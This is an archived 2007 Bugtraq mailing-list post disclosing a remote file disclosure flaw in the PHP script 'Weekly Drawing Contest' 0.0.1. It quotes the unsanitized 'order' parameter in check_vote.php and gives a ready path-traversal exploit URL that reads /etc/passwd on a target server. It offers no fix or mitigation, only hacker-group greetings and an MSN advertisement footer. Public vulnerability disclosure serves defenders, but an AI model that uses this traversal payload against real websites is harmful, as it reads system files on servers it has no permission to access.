bugtraq - Weekly Drawing Contest <= (check_vote.php) Remote File Disclosure Vuln

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <BAY102-F12F17CCD21B2436E5F4F96A37C0@phx.gbl>
Date: Tue, 13 Mar 2007 13:47:43 +0300
From: "BorN To K!LL BorN To K!LL" <q.t.i@...mail.com>
To: submit@...w0rm.com
Cc: bugtraq@...urityfocus.com
Subject: Weekly Drawing Contest <= (check_vote.php) Remote File Disclosure Vuln

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

Weekly Drawing Contest <= (check_vote.php) Remote File Disclosure Vuln

Script: Weekly Drawing Contest

Version: 0.0.1

S!Te: http://www.hotscripts.com/jump.php?listing_id=52638&jump_type=1

Discover: BorN To K!LL

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

Bug in:
check_vote.php

Code:
$order = $_GET[ "order" ];

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

ExploiT:
~~~~~
wWw.SiTe.cOm/[path]/check_vote.php?order=../../../../etc/passwd

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

GreeTz 2:
Dr.2  -  str0ke  -  AsbMay  ....

KuW-SeC.cC  &  Asb-May.net

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE! 
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/